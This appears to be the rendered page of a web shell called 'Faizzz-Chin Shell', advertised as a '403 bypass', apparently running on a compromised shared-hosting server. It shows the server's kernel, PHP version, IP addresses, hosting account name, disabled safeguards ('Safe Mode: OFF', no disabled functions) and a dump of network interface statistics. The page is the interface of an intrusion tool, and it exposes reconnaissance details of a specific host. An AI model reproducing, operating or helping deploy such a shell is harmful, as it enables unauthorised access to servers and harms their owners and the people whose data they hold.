SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

Uname\Kernel: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server: LiteSpeed
PHP Version: 8.3.30 [ PHP INFO ]
Operating System: Linux
Server Ip: 172.67.152.218
Your Ip: 216.73.217.61
Date Time: 2026-05-12 06:30:46
User: repauqkb (12019) | Group: repauqkb (11967)
Safe Mode: OFF
Disable Function: NONE

name : dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 120955728102867 55552850276    0    0    0     0          0         0 120955728102867 55552850276    0    0    0     0       0          0
  eth0: 35997161530530 53046592730    0 18702264 18702264     0          0  64248624 84620782132097 76177976851    0    0    0     0       0          0
  eth1: 35866687692209 52825710572    0 17770169 17770169     0          0  64015912 59973881463530 56488639318    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bgplo:       0       0    0    0    0     0          0         0  1205072   17210    0    0    0     0       0          0
  eth5:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth6:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth7:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth8:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bond0: 71863849222739 105872303302    0 36472433 36472433     0          0 128264536 144594663595627 132666616169    0 1443    0     0       0          0
bond0.1000: 67849825501463 68552669370    0    0    0     0          0    591540 114828530636866 67902510801    0 1408    0     0       0          0
bond0.999: 794644917135 3927474956    0    0    0     0          0    573753 25794499449122 2115987208    0   35    0     0       0          0
 idrac:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
© 2026 Faizzz-Chin